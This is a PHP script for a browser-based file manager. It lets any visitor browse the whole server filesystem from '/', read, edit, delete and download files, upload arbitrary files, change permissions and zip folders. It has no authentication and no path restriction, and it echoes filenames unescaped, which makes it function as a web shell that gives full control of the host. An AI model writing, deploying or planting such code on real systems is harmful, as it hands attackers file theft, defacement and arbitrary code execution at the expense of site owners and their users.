// Function to recursively list directories and files
function listDirectory($dir) {
// Get the current directory contents
$files = scandir($dir);

// Display current directory name
echo "

Directory: $dir

";

// Display link to go back to the parent directory
$parentDir = dirname($dir);
if ($dir !== '/') {
echo "<a class='btn' href='?dir=" . urlencode($parentDir) . "'>Go Back</a>
";
}

// Display option to create a new file
echo "

<input type='text' name='new_file_name' placeholder='Enter new file name' required>
<input class='btn' type='submit' name='create_file' value='Create File'>

";

// Display upload form
echo "

<input type='file' name='file_to_upload' required>
<input class='btn' type='submit' name='upload_file' value='Upload File'>

";

// Display form for setting file permissions
echo "

<input type='text' name='permissions' placeholder='Set file permissions (e.g., 0755)' required>
<input class='btn' type='submit' name='set_permission' value='Set Permissions'>

";

// Display form to compress a folder
echo "

<input type='submit' class='btn' name='compress_folder' value='Download Compressed Folder'>

";

// Display list of directories and files
echo "<ul class='file-list'>";
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$fullPath = "$dir/$file";
if (is_dir($fullPath)) {
echo "<li class='directory'>[DIR] <a href='?dir=" . urlencode($fullPath) . "'>$file</a></li>";
} else {
echo "<li class='file'>
[FILE] $file
<a class='btn' href='?view=" . urlencode($fullPath) . "'>View</a>
<a class='btn' href='?edit=" . urlencode($fullPath) . "'>Edit</a>
<a class='btn' href='?download=" . urlencode($fullPath) . "'>Download</a>
<a class='btn delete-btn' href='?delete=" . urlencode($fullPath) . "' onclick=\"return confirm('Are you sure you want to delete this file?');\">Delete</a>
</li>";
}
}
}
echo "</ul>";
}

// Function to create a new file
function createFile($dir, $fileName) {
$filePath = "$dir/$fileName";
if (!file_exists($filePath)) {
file_put_contents($filePath, ""); // Create an empty file
echo "<p class='success'>File '$fileName' created successfully!</p>";
} else {
echo "<p class='error'>File '$fileName' already exists.</p>";
}
}

// Function to upload a file
function uploadFile($dir) {
if (isset($_FILES['file_to_upload']) && $_FILES['file_to_upload']['error'] == 0) {
$uploadFilePath = $dir . '/' . basename($_FILES['file_to_upload']['name']);
if (move_uploaded_file($_FILES['file_to_upload']['tmp_name'], $uploadFilePath)) {
echo "<p class='success'>File '" . basename($_FILES['file_to_upload']['name']) . "' uploaded successfully!</p>";
} else {
echo "<p class='error'>Failed to upload file.</p>";
}
} else {
echo "<p class='error'>No file selected or there was an error during the upload.</p>";
}
}

// Function to set file permissions
function setPermissions($filePath, $permissions) {
if (chmod($filePath, octdec($permissions))) {
echo "<p class='success'>Permissions set successfully for $filePath.</p>";
} else {
echo "<p class='error'>Failed to set permissions.</p>";
}
}

// Function to view file content
function viewFile($filePath) {
if (file_exists($filePath) && is_file($filePath)) {
$content = htmlspecialchars(file_get_contents($filePath));
echo "

Viewing File: $filePath

";
echo "<pre class='file-content'>$content</pre>";
echo "<a class='btn' href='?dir=" . urlencode(dirname($filePath)) . "'>Back to Directory</a>";
} else {
echo "<p class='error'>File not found.</p>";
}
}

// Function to edit file content
function editFile($filePath) {
if (isset($_POST['content'])) {
file_put_contents($filePath, $_POST['content']);
echo "<p class='success'>File saved successfully!</p>";
}

$content = htmlspecialchars(file_get_contents($filePath));
echo "

Editing File: $filePath

";
echo "

<textarea name='content' class='file-edit'>$content</textarea>

<input class='btn' type='submit' value='Save Changes'>
";
echo "<a class='btn' href='?dir=" . urlencode(dirname($filePath)) . "'>Back to Directory</a>";
}

// Function to delete a file
function deleteFile($filePath) {
if (file_exists($filePath) && is_file($filePath)) {
if (unlink($filePath)) {
echo "<p class='success'>File '" . basename($filePath) . "' deleted successfully.</p>";
} else {
echo "<p class='error'>Failed to delete file.</p>";
}
} else {
echo "<p class='error'>File not found.</p>";
}
}

// Function to handle file downloads
function downloadFile($filePath) {
if (file_exists($filePath) && is_file($filePath)) {
// Set headers to force download
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filePath));
readfile($filePath);
exit;
} else {
echo "<p class='error'>File not found.</p>";
}
}

// Function to compress folder and download as a zip
function compressFolder($folderPath) {
$zipFileName = tempnam(sys_get_temp_dir(), 'zip') . ".zip";
$zip = new ZipArchive;
if ($zip->open($zipFileName, ZipArchive::CREATE) === TRUE) {
$folderPath = realpath($folderPath);
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folderPath));
foreach ($iterator as $file) {
if (!$file->isDir()) {
$filePath = $file->getRealPath();
$relativePath = substr($filePath, strlen($folderPath) + 1);
$zip->addFile($filePath, $relativePath);
}
}
$zip->close();

// Serve the zip file for download
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="compressed_folder.zip"');
header('Content-Length: ' . filesize($zipFileName));
readfile($zipFileName);
unlink($zipFileName); // Delete temporary zip file
exit;
} else {
echo "<p class='error'>Failed to create zip file.</p>";
}
}

// Determine what action to take
if (isset($_GET['view'])) {
$filePath = realpath($_GET['view']);
viewFile($filePath);
} elseif (isset($_GET['edit'])) {
$filePath = realpath($_GET['edit']);
editFile($filePath);
} elseif (isset($_GET['download'])) {
$filePath = realpath($_GET['download']);
downloadFile($filePath); // Call the download function
} elseif (isset($_GET['delete'])) {
$filePath = realpath($_GET['delete']);
deleteFile($filePath); // Call the delete function
} elseif (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) {
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$currentDir = realpath($currentDir);
createFile($currentDir, $_POST['new_file_name']);
listDirectory($currentDir);
} elseif (isset($_POST['upload_file'])) {
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$currentDir = realpath($currentDir);
uploadFile($currentDir);
listDirectory($currentDir);
} elseif (isset($_POST['set_permission']) && !empty($_POST['permissions'])) {
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$currentDir = realpath($currentDir);
setPermissions($currentDir, $_POST['permissions']);
listDirectory($currentDir);
} elseif (isset($_POST['compress_folder'])) {
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$currentDir = realpath($currentDir);
compressFolder($currentDir); // Call the compress folder function
} else {
// Default action: list directory contents
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$currentDir = realpath($currentDir);
listDirectory($currentDir);
}






<style>
body {
font-family: Arial, sans-serif;
margin: 20px;
background-color: #f0f2f5;
}

h2 {
font-size: 1.5rem;
color: #333;
}

form {
margin-bottom: 10px;
}

input[type="text"], input[type="file"], textarea {
padding: 5px;
font-size: 1rem;
border: 1px solid #ccc;
border-radius: 4px;
width: 250px;
margin-bottom: 10px;
}

textarea {
width: 100%;
height: 200px;
}

.btn {
padding: 5px 10px;
background-color: #007bff;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
text-decoration: none;
display: inline-block;
margin-right: 5px;
}

.btn:hover {
background-color: #0056b3;
}

ul.file-list {
list-style-type: none;
padding: 0;
}

ul.file-list li {
margin: 5px 0;
}

ul.file-list li.directory a {
color: #007bff;
font-weight: bold;
text-decoration: none;
}

ul.file-list li.file a {
color: #007bff;
text-decoration: none;
}

ul.file-list li a.btn {
font-size: 0.8rem;
padding: 3px 7px;
}

pre.file-content {
background-color: #f8f9fa;
border: 1px solid #ccc;
padding: 10px;
overflow-x: auto;
}

.success {
color: green;
}

.error {
color: red;
}
</style>